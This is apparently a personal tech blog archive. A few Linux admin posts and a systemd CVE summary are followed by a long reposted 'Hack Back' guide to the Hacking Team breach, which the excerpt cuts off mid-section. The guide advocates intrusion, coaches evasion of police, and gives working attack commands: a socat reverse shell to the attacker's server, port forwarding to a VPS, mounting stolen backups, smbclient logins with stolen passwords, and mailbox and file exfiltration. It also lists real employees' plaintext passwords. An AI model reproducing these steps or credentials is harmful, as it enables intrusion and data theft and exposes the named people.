head /dev/log

Au revoir wordpress

Sat, 04 Feb 2023 10:52:19 +0000

Après de longues années de bons et loyaux services, j’ai trouvé wordpress trop lourd et trop chronophage à maintenir. Ce site étant plus une archive qu’autre chose désormais, devenir un site statique lui ira très bien au teint :-)

gcc compilation failure (Value too large for defined data type)

Sun, 10 Mar 2019 21:21:07 +0000

I just reinstalled some of my servers with my beloved combo : gentoo & XFS <3

When I was trying to upgrade my gcc version from 7.3 to 8.2 I got the following error :

<pre class="wp-block-code">```
checking for uintptr_t...  * /var/tmp/portage/sys-apps/sandbox-2.13/work/sandbox-2.13/libsandbox/libsandbox.c:check_syscall():968: failure (Value too large for defined data type):
 * ISE: fopen_wr(conftest.val)
        abs_path: (null)
        res_path: /var/tmp/portage/sys-devel/gcc-8.2.0-r6/work/build/x86_64-pc-linux-gnu/32/libatomic/conftest.val
configure: error: Could not determine word size.

I finally found in that very old gentoo forum post and bug report that XFS is the rootcause. So I decided to move my ‘/var/tmp/portage’ from XFS to tmpfs by adding the following to /etc/fstab. Size may be adapted but 2G is not enough to compile GCC successfully.

<pre class="wp-block-preformatted">tmpfs /var/tmp/portage tmpfs size=4G,uid=portage,gid=portage,mode=775,noatime        0 0

Then I resumed the compilation, it worked like a charm and I was able to set my new GCC version as default one.

$ emerge --resume
$ gcc-config -l
[1] x86_64-pc-linux-gnu-7.3.0 *
[2] x86_64-pc-linux-gnu-8.2.0 
$ gcc-config 2

Again, gentoo documentation and resources was awesome 🙂

systemd-journald exploit & root access

Thu, 10 Jan 2019 21:47:24 +0000

Des chercheurs de Qualys ont découvert 3 failles de sécurité dans journald qui permet une escalade de privilège. Des PoC ont été fait et cela prend 10minutes sur i386 et 70minutes sur amd64. Attention donc, car tous les patchs ne sont pas encore dispo.

Ci dessous le résumé provenant de chez qualys:

========= Summary =========

We discovered three vulnerabilities in systemd-journald (https://en.wikipedia.org/wiki/Systemd):

– CVE-2018-16864 and CVE-2018-16865, two memory corruptions (attacker-controlled alloca()s);

– CVE-2018-16866, an information leak (an out-of-bounds read).

CVE-2018-16864 was introduced in April 2013 (systemd v203) and became exploitable in February 2016 (systemd v230). We developed a proof of concept for CVE-2018-16864 that gains eip control on i386.

CVE-2018-16865 was introduced in December 2011 (systemd v38) and became exploitable in April 2013 (systemd v201).

CVE-2018-16866 was introduced in June 2015 (systemd v221) and was inadvertently fixed in August 2018.

We developed an exploit for CVE-2018-16865 and CVE-2018-16866 that obtains a local root shell in 10 minutes on i386 and 70 minutes on amd64, on average. We will publish our exploit in the near future.

To the best of our knowledge, all systemd-based Linux distributions are vulnerable, but SUSE Linux Enterprise 15, openSUSE Leap 15.0, and Fedora 28 and 29 are not exploitable because their user space is compiled with GCC’s -fstack-clash-protection.

This confirms https://grsecurity.net/an_ancient_kernel_hole_is_not_closed.php: « It should be clear that kernel-only attempts to solve [the Stack Clash] will necessarily always be incomplete, as the real issue lies in the lack of stack probing. »

L’intégration de systemd dans les distributions linux il y a plusieurs années avait fait pas mal débat.

Le fait qu’il soit en rupture avec le principe initial d’unix sur le découpages des tâches avait provoqué pas mal d’émotions.

Je ne parle pas du fait qu’on est passé d’un system d’init avec des scripts shell à des fichiers ini, des logs binaires et pas mal d’intégration de fonctions qui dépassent l’init comme : les logs system, les cgroup, Resource accounting User session management, mise en veille, synchro du temps, résolution DNS, la découverte des disques etc.

L’effet de bord et qu’udev a du évoluer et systemd en est devenu un prérequis… la boucle était bouclée.

Poussé par RedHat, systemd a été intégré dans la majeure partie des distrbution. Gentoo et slackware font partie des rares courageuses exeptions et ne sont donc pas concernées par ces bugs 😉

Ajout d'un disque dans un raid 5 dmraid

Wed, 27 Dec 2017 22:27:00 +0000

(Voici un vieux billet qui trainait dans les brouillons, j’en profite pour le publier maintenant si ça peut servir à certains)

Restons dans le principe KISS (au moins pour l’utilisateur) avec dmraid qui permet la manipulation des disques très facilement dans une grappe RAID sous linux.

Dernièrement l’ajout d’un disque dans un de mes RAID5 n’a pas été plus compliqué que ça:

Copie de la table de partition d’un disque présent dans la grappe vers le nouveau.

sfdisk -d /dev/sdb | sfdisk /dev/sdf

Ajout du disque dans la grappe (en tant que spare)

mdadm --manage /dev/md0 --add /dev/sdf1

Ajout du disque comme disque de donnée dans le RAID5. Attention c’est à ce moment que les données bougent. Il ne faut pas interrompre cette opération qui dure plusieurs heures. On assume ici que la grappe passe de 4 à 5 disques actifs.

mdadm --grow --raid-devices=5 --backup-file=/root/md0-grow.bak /dev/md0

Preuve que c’est long:

Personalities : [raid6] [raid5] [raid4] [linear] [multipath] [raid0] [raid1] [raid10] 
md0 : active raid5 sdf1[6] sdd1[3] sdc1[4] sdb1[1] sde1[5]
 5860150272 blocks super 1.2 level 5, 512k chunk, algorithm 2 [5/5] [UUUUU]
 [>....................] reshape = 0.8% (17033544/1953383424) finish=1183.5min speed=27266K/sec
 
unused devices: <none>

En bref, on se redonne RDV dans plus de 16h.
Ensuite il suffit de redimensionner le FS ou le LV + le FS selon comment vous avez découpé le volume.

Des sources bien mieux documentées éxistent, et heureusement :
https://raid.wiki.kernel.org/index.php/RAID_setup
https://wiki.archlinux.org/index.php/Installing_with_Fake_RAID

eggdrop sur ubuntu xenial 16.04 LTS

Tue, 15 Nov 2016 20:48:39 +0000

Pour compiler eggdrop 1.6.21 (oui ça existe encore) sur ubuntu 16.04 LTS, il faut bien évidemment installer TCL et ses header pour la compilation. Dans mon cas j’ai installé les paquets tcl8.6 et tcl8.6-dev
Mais en plus de préciser leur chemin, il faut passer un CFLAG particulier à GCC pour passer l’étape du link sans encombre.

CFLAGS="-std=gnu89" ./configure --with-tcllib='/usr/lib/x86_64-linux-gnu/libtcl8.6.so' --with-tclinc='/usr/include/tcl8.6/tcl.h'
make config
make
make install

source sur le eggwiki

Pour référence l’erreur est ci dessous :

gcc -g -O2 -pipe -Wall -I../.. -I../.. -I../../src -DHAVE_CONFIG_H -c strftime.c
In file included from ../../src/main.h:112:0,
from strftime.c:26:
../../src/tclhash.h:78:13: warning: inline function ‘garbage_collect_tclhash’ declared but never defined
inline void garbage_collect_tclhash(void);
In file included from ../../src/main.h:107:0,
from strftime.c:26:
../../src/proto.h:274:12: warning: inline function ‘open_listen’ declared but never defined
inline int open_listen(int *);
make[2]: Leaving directory '/home/kasimir/eggdrop1.6.21/src/compat'

---------- Yeah! That's the compiling, now the linking! ----------

Linking eggdrop (standard build).

gcc -o ../eggdrop bg.o botcmd.o botmsg.o botnet.o chanprog.o cmds.o dcc.o dccutil.o dns.o flags.o language.o match.o main.o mem.o misc.o misc\_file.o modules.o net.o rfc1459.o tcl.o tcldcc.o tclhash.o tclmisc.o tcluser.o userent.o userrec.o users.o -L/usr/lib/x86\_64-linux-gnu -ltcl8.6 -lm -ldl -lnsl -lpthread md5/md5c.o compat/\*.o `cat mod/mod.xlibs`  
main.o: In function `garbage_collect':  
/home/kasimir/eggdrop1.6.21/src/./main.c:710: undefined reference to `garbage_collect_tclhash'  
modules.o:(.data+0x2a0): undefined reference to `open_listen'  
tcldcc.o: In function `tcl_listen':  
/home/kasimir/eggdrop1.6.21/src/tcldcc.c:942: undefined reference to `open_listen'  
collect2: error: ld returned 1 exit status  
Makefile:37: recipe for target '../eggdrop' failed  
make\[1\]: \*\*\* \[../eggdrop\] Error 1  
make\[1\]: Leaving directory '/home/kasimir/eggdrop1.6.21/src'  
Makefile:202: recipe for target 'modegg' failed  
make: \*\*\* \[modegg\] Error 2

le hacker de hackingteam …

Fri, 29 Apr 2016 00:03:40 +0000

… serait PhineasFisher et il à fait un post relativement détaillé sur le mode opératoire utilisé pour pénétrer le réseau de hackingteam.

Pour rappel hackingteam est une société italienne connue pour avoir fourni des logiciels de hack et de surveillance offensifs à des états avec pour cible des activistes, des journalistes etc (entre autre activités).

Environ 400Go de données de la hackingteam ont été leak l’été dernier suite à une attaque sur leur infrastructure.

Il révèle ses motivations mais également les différentes méthodes utilisées pour pénétrer les systèmes et extraire les données.

Une lecture très interessante où il dit avoir utilisé des outils bien connus de port scanning ou de récupération de mots de passe windows mais aussi avoir monté la target iSCSI de leur NAS synology depuis une machine externe via du port forwarding sur lequel était hebergé la sauvegarde de leur exchange.

Lien original en espagnol :http://pastebin.com/raw/GPSHF04A

Dans la suite du billet, la traduction de son post également disponible sur http://pastebin.com/raw/0SNSvyjJ

                _   _            _      ____             _    _ 
               | | | | __ _  ___| | __ | __ )  __ _  ___| | _| |
               | |_| |/ _` |/ __| |/ / |  _ \ / _` |/ __| |/ / |
               |  _  | (_| | (__|   <  | |_) | (_| | (__|   <|_|
               |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
                                                 
                                  A DIY Guide



                                 ,-._,-._             
                              _,-\  o O_/;            
                             / ,  `     `|            
                             | \-.,___,  /   `        
                              \ `-.__/  /    ,.\      
                             / `-.__.-\`   ./   \'
                            / /|    ___\ ,/      `\
                           ( ( |.-"`   '/\         \  `
                            \ \/      ,,  |          \ _
                             \|     o/o   /           \.
                              \        , /             /
                              ( __`;-;'__`)            \\
                              `//'`   `||`              `\
                             _//       ||           __   _   _ _____   __
                     .-"-._,(__)     .(__).-""-.      | | | | |_   _| |
                    /          \    /           \     | | |_| | | |   |
                    \          /    \           /     | |  _  | | |   |
                     `'-------`      `--------'`    __| |_| |_| |_|   |__
                               #antisec



--[ 1 - Introduction ]----------------------------------------------------------

You'll notice the change in language since the last edition [1]. The
English-speaking world already has tons of books, talks, guides, and
info about hacking. In that world, there's plenty of hackers better than me,
but they misuse their talents working for "defense" contractors, for intelligence
agencies, to protect banks and corporations, and to defend the status quo.
Hacker culture was born in the US as a counterculture, but that origin only
remains in its aesthetics - the rest has been assimilated. At least they can
wear a t-shirt, dye their hair blue, use their hacker names, and feel like
rebels while they work for the Man.

You used to have to sneak into offices to leak documents [2]. You used to need
a gun to rob a bank. Now you can do both from bed with a laptop in hand [3][4].
Like the CNT said after the Gamma Group hack: "Let's take a step forward with
new forms of struggle" [5]. Hacking is a powerful tool, let's learn and fight!

[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI
[3] http://www.aljazeera.com/news/2015/09/algerian-hacker-hero-hoodlum-150921083914167.html
[4] https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf 
[5] http://madrid.cnt.es/noticia/consideraciones-sobre-el-ataque-informatico-a-gamma-group


--[ 2 - Hacking Team ]----------------------------------------------------------

Hacking Team was a company that helped governments hack and spy on
journalists, activists, political opposition, and other threats to their power
[1][2][3][4][5][6][7][8][9][10][11]. And, occasionally, on actual criminals
and terrorists [12]. Vincenzetti, the CEO, liked to end his emails with the
fascist slogan "boia chi molla". It'd be more correct to say "boia chi vende
RCS". They also claimed to have technology to solve the "problem" posed by Tor
and the darknet [13]. But seeing as I'm still free, I have my doubts about
its effectiveness.

[1] http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla-uso-el-software-de-hacking-team-para-espionaje-politico/
[2] http://www.prensa.com/politica/claves-entender-Hacking-Team-Panama_0_4251324994.html
[3] http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opositor-carlos-figueroa/
[4] https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/
[5] https://citizenlab.org/2014/02/hacking-team-targeting-ethiopian-journalists/
[6] https://citizenlab.org/2015/03/hacking-team-reloaded-us-based-ethiopian-journalists-targeted-spyware/
[7] http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-tiban-torres-son-espiados-en-ecuador/
[8] http://www.pri.org/stories/2015-07-08/these-ethiopian-journalists-exile-hacking-team-revelations-are-personal
[9] https://theintercept.com/2015/07/07/leaked-documents-confirm-hacking-team-sells-spyware-repressive-countries/
[10] http://www.wired.com/2013/06/spy-tool-sold-to-governments/
[11] http://www.theregister.co.uk/2015/07/13/hacking_team_vietnam_apt/
[12] http://www.ilmessaggero.it/primopiano/cronaca/yara_bossetti_hacking_team-1588888.html
[13] http://motherboard.vice.com/en_ca/read/hacking-team-founder-hey-fbi-we-can-help-you-crack-the-dark-web


--[ 3 - Stay safe out there ]---------------------------------------------------

Unfortunately, our world is backwards. You get rich by doing bad things and go
to jail for doing good. Fortunately, thanks to the hard work of people like
the Tor project [1], you can avoid going to jail by taking a few simple
precautions:

1) Encrypt your hard disk [2]

   I guess when the police arrive to seize your computer, it means you've
   already made a lot of mistakes, but it's better to be safe.

2) Use a virtual machine with all traffic routed through Tor

   This accomplishes two things. First, all your traffic is anonymized through
   Tor. Second, keeping your personal life and your hacking on separate
   computers helps you not to mix them by accident.

   You can use projects like Whonix [3], Tails [4], Qubes TorVM [5], or
   something custom [6]. Here's [7] a detailed comparison.

3) (Optional) Don't connect directly to Tor
   
   Tor isn't a panacea. They can correlate the times you're connected to Tor
   with the times your hacker handle is active. Also, there have been
   successful attacks against Tor [8]. You can connect to Tor using other
   peoples' wifi. Wifislax [9] is a linux distro with a lot of tools for
   cracking wifi. Another option is to connect to a VPN or a bridge node [10]
   before Tor, but that's less secure because they can still correlate the
   hacker's activity with your house's internet activity (this was used as
   evidence against Jeremy Hammond [11]).

   The reality is that while Tor isn't perfect, it works quite well. When I
   was young and reckless, I did plenty of stuff without any protection (I'm
   referring to hacking) apart from Tor, that the police tried their hardest
   to investigate, and I've never had any problems.

[1] https://www.torproject.org/
[2] https://info.securityinabox.org/es/chapter-4
[3] https://www.whonix.org/
[4] https://tails.boum.org/
[5] https://www.qubes-os.org/doc/privacy/torvm/
[6] https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy
[7] https://www.whonix.org/wiki/Comparison_with_Others
[8] https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack/
[9] http://www.wifislax.com/
[10] https://www.torproject.org/docs/bridges.html.en
[11] http://www.documentcloud.org/documents/1342115-timeline-correlation-jeremy-hammond-and-anarchaos.html


----[ 3.1 - Infrastructure ]----------------------------------------------------

I don't hack directly from Tor exit nodes. They're on blacklists, they're
slow, and they can't receive connect-backs. Tor protects my anonymity while I
connect to the infrastructure I use to hack, which consists of:

1) Domain Names

   For C&C addresses, and for DNS tunnels for guaranteed egress.

2) Stable Servers

   For use as C&C servers, to receive connect-back shells, to launch attacks,
   and to store the loot.

3) Hacked Servers

   For use as pivots to hide the IP addresses of the stable servers. And for
   when I want a fast connection without pivoting, for example to scan ports,
   scan the whole internet, download a database with sqli, etc.

Obviously, you have to use an anonymous payment method, like bitcoin (if it's
used carefully).


----[ 3.2 - Attribution ]-------------------------------------------------------

In the news we often see attacks traced back to government-backed hacking
groups ("APTs"), because they repeatedly use the same tools, leave the same
footprints, and even use the same infrastructure (domains, emails, etc).
They're negligent because they can hack without legal consequences.

I didn't want to make the police's work any easier by relating my hack of
Hacking Team with other hacks I've done or with names I use in my day-to-day
work as a blackhat hacker. So, I used new servers and domain names, registered
with new emails, and payed for with new bitcoin addresses. Also, I only used
tools that are publicly available, or things that I wrote specifically for
this attack, and I changed my way of doing some things to not leave my usual
forensic footprint.


--[ 4 - Information Gathering ]-------------------------------------------------

Although it can be tedious, this stage is very important, since the larger the
attack surface, the easier it is to find a hole somewhere in it.


----[ 4.1 - Technical Information ]---------------------------------------------

Some tools and techniques are:

1) Google

   A lot of interesting things can be found with a few well-chosen search
   queries. For example, the identity of DPR [1]. The bible of Google hacking
   is the book "Google Hacking for Penetration Testers". You can find a short
   summary in Spanish at [2].

2) Subdomain Enumeration

   Often, a company's main website is hosted by a third party, and you'll find
   the company's actual IP range thanks to subdomains like mx.company.com or
   ns1.company.com. Also, sometimes there are things that shouldn't be exposed
   in "hidden" subdomains. Useful tools for discovering domains and subdomains
   are fierce [3], theHarvester [4], and recon-ng [5].

3) Whois lookups and reverse lookups

   With a reverse lookup using the whois information from a domain or IP range
   of a company, you can find other domains and IP ranges. As far as I know,
   there's no free way to do reverse lookups aside from a google "hack":
   
   "via della moscova 13" site:www.findip-address.com
   "via della moscova 13" site:domaintools.com

4) Port scanning and fingerprinting

   Unlike the other techniques, this talks to the company's servers. I
   include it in this section because it's not an attack, it's just
   information gathering. The company's IDS might generate an alert, but you
   don't have to worry since the whole internet is being scanned constantly.

   For scanning, nmap [6] is precise, and can fingerprint the majority of
   services discovered. For companies with very large IP ranges, zmap [7] or
   masscan [8] are fast. WhatWeb [9] or BlindElephant [10] can fingerprint web
   sites.

[1] http://www.nytimes.com/2015/12/27/business/dealbook/the-unsung-tax-agent-who-put-a-face-on-the-silk-road.html
[2] http://web.archive.org/web/20140610083726/http://www.soulblack.com.ar/repo/papers/hackeando_con_google.pdf
[3] http://ha.ckers.org/fierce/
[4] https://github.com/laramies/theHarvester
[5] https://bitbucket.org/LaNMaSteR53/recon-ng
[6] https://nmap.org/
[7] https://zmap.io/
[8] https://github.com/robertdavidgraham/masscan
[9] http://www.morningstarsecurity.com/research/whatweb
[10] http://blindelephant.sourceforge.net/


----[ 4.2 - Social Information ]------------------------------------------------

For social engineering, it's useful to have information about the employees,
their roles, contact information, operating system, browser, plugins,
software, etc. Some resources are:

1) Google

   Here as well, it's the most useful tool.

2) theHarvester and recon-ng

   I already mentioned them in the previous section, but they have a lot more
   functionality. They can find a lot of information quickly and
   automatically. It's worth reading all their documentation.

3) LinkedIn

   A lot of information about the employees can be found here. The company's
   recruiters are the most likely to accept your connection requests.

4) Data.com

   Previously known as jigsaw. They have contact information for many
   employees.

5) File Metadata

   A lot of information about employees and their systems can be found in
   metadata of files the company has published. Useful tools for finding
   files on the company's website and extracting the metadata are metagoofil
   [1] and FOCA [2].

[1] https://github.com/laramies/metagoofil
[2] https://www.elevenpaths.com/es/labstools/foca-2/index.html


--[ 5 - Entering the network ]--------------------------------------------------

There are various ways to get a foothold. Since the method I used against
Hacking Team is uncommon and a lot more work than is usually necessary, I'll
talk a little about the two most common ways, which I recommend trying first.


----[ 5.1 - Social Engineering ]------------------------------------------------

Social engineering, specifically spear phishing, is responsible for the
majority of hacks these days. For an introduction in Spanish, see [1]. For
more information in English, see [2] (the third part, "Targeted Attacks"). For
fun stories about the social engineering exploits of past generations, see
[3]. I didn't want to try to spear phish Hacking Team, as their whole business
is helping governments spear phish their opponents, so they'd be much more
likely to recognize and investigate a spear phishing attempt.

[1] http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html
[2] http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/
[3] http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf


----[ 5.2 - Buying Access ]-----------------------------------------------------

Thanks to hardworking Russians and their exploit kits, traffic sellers, and
bot herders, many companies already have compromised computers in their
networks. Almost all of the Fortune 500, with their huge networks, have some
bots already inside. However, Hacking Team is a very small company, and most
of it's employees are infosec experts, so there was a low chance that they'd
already been compromised.


----[ 5.3 - Technical Exploitation ]--------------------------------------------

After the Gamma Group hack, I described a process for searching for
vulnerabilities [1]. Hacking Team had one public IP range:
inetnum:        93.62.139.32 - 93.62.139.47
descr:          HT public subnet

Hacking Team had very little exposed to the internet. For example, unlike
Gamma Group, their customer support site needed a client certificate to
connect. What they had was their main website (a Joomla blog in which Joomscan
[2] didn't find anything serious), a mail server, a couple routers, two VPN
appliances, and a spam filtering appliance. So, I had three options: look for
a 0day in Joomla, look for a 0day in postfix, or look for a 0day in one of the
embedded devices. A 0day in an embedded device seemed like the easiest option,
and after two weeks of work reverse engineering, I got a remote root exploit.
Since the vulnerabilities still haven't been patched, I won't give more
details, but for more information on finding these kinds of vulnerabilities,
see [3] and [4].

[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] http://sourceforge.net/projects/joomscan/
[3] http://www.devttys0.com/
[4] https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2Ft0oNNlIp7WmDA2z9zzHpon8A


--[ 6 - Be Prepared ]-----------------------------------------------------------

I did a lot of work and testing before using the exploit against Hacking Team.
I wrote a backdoored firmware, and compiled various post-exploitation tools
for the embedded device. The backdoor serves to protect the exploit. Using the
exploit just once and then returning through the backdoor makes it harder to
identify and patch the vulnerabilities.

The post-exploitation tools that I'd prepared were:

1) busybox

   For all the standard Unix utilities that the system didn't have.

2) nmap

   To scan and fingerprint Hacking Team's internal network.

3) Responder.py

   The most useful tool for attacking windows networks when you have access to
   the internal network, but no domain user.

4) Python

   To execute Responder.py

5) tcpdump

   For sniffing traffic.

6) dsniff

   For sniffing passwords from plaintext protocols like ftp, and for
   arpspoofing. I wanted to use ettercap, written by Hacking Team's own ALoR
   and NaGA, but it was hard to compile it for the system.

7) socat

   For a comfortable shell with a pty:
   my_server: socat file:`tty`,raw,echo=0 tcp-listen:my_port
   hacked box: socat exec:'bash -li',pty,stderr,setsid,sigint,sane \
		  tcp:my_server:my_port

   And useful for a lot more, it's a networking swiss army knife. See the
   examples section of its documentation.

8) screen

   Like the shell with pty, it wasn't really necessary, but I wanted to feel
   at home in Hacking Team's network.

9) a SOCKS proxy server

   To use with proxychains to be able to access their local network from any
   program.

10) tgcd

   For forwarding ports, like for the SOCKS server, through the firewall.

[1] https://www.busybox.net/
[2] https://nmap.org/
[3] https://github.com/SpiderLabs/Responder
[4] https://github.com/bendmorris/static-python
[5] http://www.tcpdump.org/
[6] http://www.monkey.org/~dugsong/dsniff/
[7] http://www.dest-unreach.org/socat/
[8] https://www.gnu.org/software/screen/
[9] http://average-coder.blogspot.com/2011/09/simple-socks5-server-in-c.html
[10] http://tgcd.sourceforge.net/


The worst thing that could happen would be for my backdoor or post-exploitation
tools to make the system unstable and cause an employee to investigate. So I
spent a week testing my exploit, backdoor, and post-exploitation tools in the
networks of other vulnerable companies before entering Hacking Team's network.


--[ 7 - Watch and Listen ]------------------------------------------------------

Now inside their internal network, I wanted to take a look around and think
about my next step. I started Responder.py in analysis mode (-A to listen
without sending poisoned responses), and did a slow scan with nmap.


--[ 8 - NoSQL Databases ]-------------------------------------------------------

NoSQL, or rather NoAuthentication, has been a huge gift to the hacker
community [1]. Just when I was worried that they'd finally patched all of the
authentication bypass bugs in MySQL [2][3][4][5], new databases came into
style that lack authentication by design. Nmap found a few in Hacking Team's
internal network:

27017/tcp open  mongodb       MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 47547
|   totalSize = 49856643072
...
|_    version = 2.6.5

27017/tcp open  mongodb       MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 31987
|   totalSize = 33540800512
|   databases
...
|_    version = 2.6.5

They were the databases for test instances of RCS. The audio that RCS records
is stored in MongoDB with GridFS. The audio folder in the torrent [6] came
from this. They were spying on themselves without meaning to.

[1] https://www.shodan.io/search?query=product%3Amongodb
[2] https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
[3] http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0001.html
[4] http://downloads.securityfocus.com/vulnerabilities/exploits/hoagie_mysql.c
[5] http://archives.neohapsis.com/archives/bugtraq/2000-02/0053.html
[6] https://ht.transparencytoolkit.org/audio/


--[ 9 - Crossed Cables ]--------------------------------------------------------

Although it was fun to listen to recordings and see webcam images of Hacking
Team developing their malware, it wasn't very useful. Their insecure backups
were the vulnerability that opened their doors. According to their
documentation [1], their iSCSI devices were supposed to be on a separate
network, but nmap found a few in their subnetwork 192.168.1.200/24:

Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)
...
3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000-01.com.synology:ht-synology.name
|     Address: 192.168.200.66:3260,0
|_    Authentication: No authentication required

Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)
...
3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000-01.com.synology:synology-backup.name
|     Address: 10.0.1.72:3260,0
|     Address: 192.168.200.72:3260,0
|_    Authentication: No authentication required

iSCSI needs a kernel module, and it would've been difficult to compile it for
the embedded system. I forwarded the port so that I could mount it from a VPS:

VPS: tgcd -L -p 3260 -q 42838
Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838

VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1

Now iSCSI finds the name iqn.2000-01.com.synology but has problems mounting it
because it thinks its IP is 192.168.200.72 instead of 127.0.0.1

The way I solved it was:
iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1

And now, after:
iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 --login

...the device file appears! We mount it:
vmfs-fuse -o ro /dev/sdb1 /mnt/tmp

and find backups of various virtual machines. The Exchange server seemed like
the most interesting. It was too big too download, but it was possible to
mount it remotely to look for interesting files:
$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1            2048  1258287103   629142528    7  HPFS/NTFS/exFAT

so the offset is 2048 * 512 = 1048576
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/

now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311
we find the hard disk of the VM, and mount it:
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1

...and finally we've unpacked the Russian doll and can see all the files from
the old Exchange server in /mnt/part1

[1] https://ht.transparencytoolkit.org/FileServer/FileServer/Hackingteam/InfrastrutturaIT/Rete/infrastruttura%20ht.pdf


--[ 10 - From backups to domain admin ]-----------------------------------------

What interested me most in the backup was seeing if it had a password or hash
that could be used to access the live server. I used pwdump, cachedump, and
lsadump [1] on the registry hives. lsadump found the password to the besadmin
service account:

_SC_BlackBerry MDS Connection Service
0000   16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0010   62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00    b.e.s.3.2.6.7.8.
0020   21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00    !.!.!...........

I used proxychains [2] with the socks server on the embedded device and
smbclient [3] to check the password:
proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'

It worked! The password for besadmin was still valid, and a local admin. I
used my proxy and metasploit's psexec_psh [4] to get a meterpreter session.
Then I migrated to a 64 bit process, ran "load kiwi" [5], "creds_wdigest", and
got a bunch of passwords, including the Domain Admin:

HACKINGTEAM  BESAdmin       bes32678!!!
HACKINGTEAM  Administrator  uu8dd8ndd12!
HACKINGTEAM  c.pozzi        P4ssword      <---- lol great sysadmin
HACKINGTEAM  m.romeo        ioLK/(90
HACKINGTEAM  l.guerra       4luc@=.=
HACKINGTEAM  d.martinez     W4tudul3sp
HACKINGTEAM  g.russo        GCBr0s0705!
HACKINGTEAM  a.scarafile    Cd4432996111
HACKINGTEAM  r.viscardi     Ht2015!
HACKINGTEAM  a.mino         A!e$$andra
HACKINGTEAM  m.bettini      Ettore&Bella0314
HACKINGTEAM  m.luppi        Blackou7
HACKINGTEAM  s.gallucci     1S9i8m4o!
HACKINGTEAM  d.milan        set!dob66
HACKINGTEAM  w.furlan       Blu3.B3rry!
HACKINGTEAM  d.romualdi     Rd13136f@#
HACKINGTEAM  l.invernizzi   L0r3nz0123!
HACKINGTEAM  e.ciceri       2O2571&2E
HACKINGTEAM  e.rabe         erab@4HT!

[1] https://github.com/Neohapsis/creddump7
[2] http://proxychains.sourceforge.net/
[3] https://www.samba.org/
[4] http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metasploit_Unleashed.pdf
[5] https://github.com/gentilkiwi/mimikatz


--[ 11 - Downloading the mail ]-------------------------------------------------

With the Domain Admin password, I have access to the email, the heart of the
company. Since with each step I take there's a chance of being detected, I
start downloading their email before continuing to explore. Powershell makes
it easy [1]. Curiously, I found a bug with Powershell's date handling. After
downloading the emails, it took me another couple weeks to get access to the
source code and everything else, so I returned every now and then to download
the new emails. The server was Italian, with dates in the format
day/month/year. I used:
-ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')}

with New-MailboxExportRequest to download the new emails (in this case all
mail since June 5). The problem is it says the date is invalid if you
try a day larger than 12 (I imagine because in the US the month comes first
and you can't have a month above 12). It seems like Microsoft's engineers only
test their software with their own locale.

[1] http://www.stevieg.org/2010/07/using-the-exchange-2010-sp1-mailbox-export-features-for-mass-exports-to-pst/


--[ 12 - Downloading Files ]----------------------------------------------------

Now that I'd gotten Domain Admin, I started to download file shares using my
proxy and the -Tc option of smbclient, for example:

proxychains smbclient '//192.168.1.230/FAE DiskStation' \
    -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*'

I downloaded the Amministrazione, FAE DiskStation, and FileServer folders in
the torrent like that.


--[ 13 - Introduction to hacking windows domains ]------------------------------

Before continuing with the story of the "weones culiaos" (Hacking Team), I
should give some general knowledge for hacking windows networks.


----[ 13.1 - Lateral Movement ]-------------------------------------------------

I'll give a brief review of the different techniques for spreading withing a
windows network. The techniques for remote execution require the password or
hash of a local admin on the target. By far, the most common way of obtaining
those credentials is using mimikatz [1], especially sekurlsa::logonpasswords
and sekurlsa::msv, on the computers where you already have admin access. The
techniques for "in place" movement also require administrative privileges
(except for runas). The most important tools for privilege escalation are
PowerUp [2], and bypassuac [3].

[1] https://adsecurity.org/?page_id=1821
[2] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
[3] https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1


Remote Movement:

1) psexec

   The tried and true method for lateral movement on windows. You can use
   psexec [1], winexe [2], metasploit's psexec_psh [3], Powershell Empire's
   invoke_psexec [4], or the builtin windows command "sc" [5]. For the
   metasploit module, powershell empire, and pth-winexe [6], you just need the
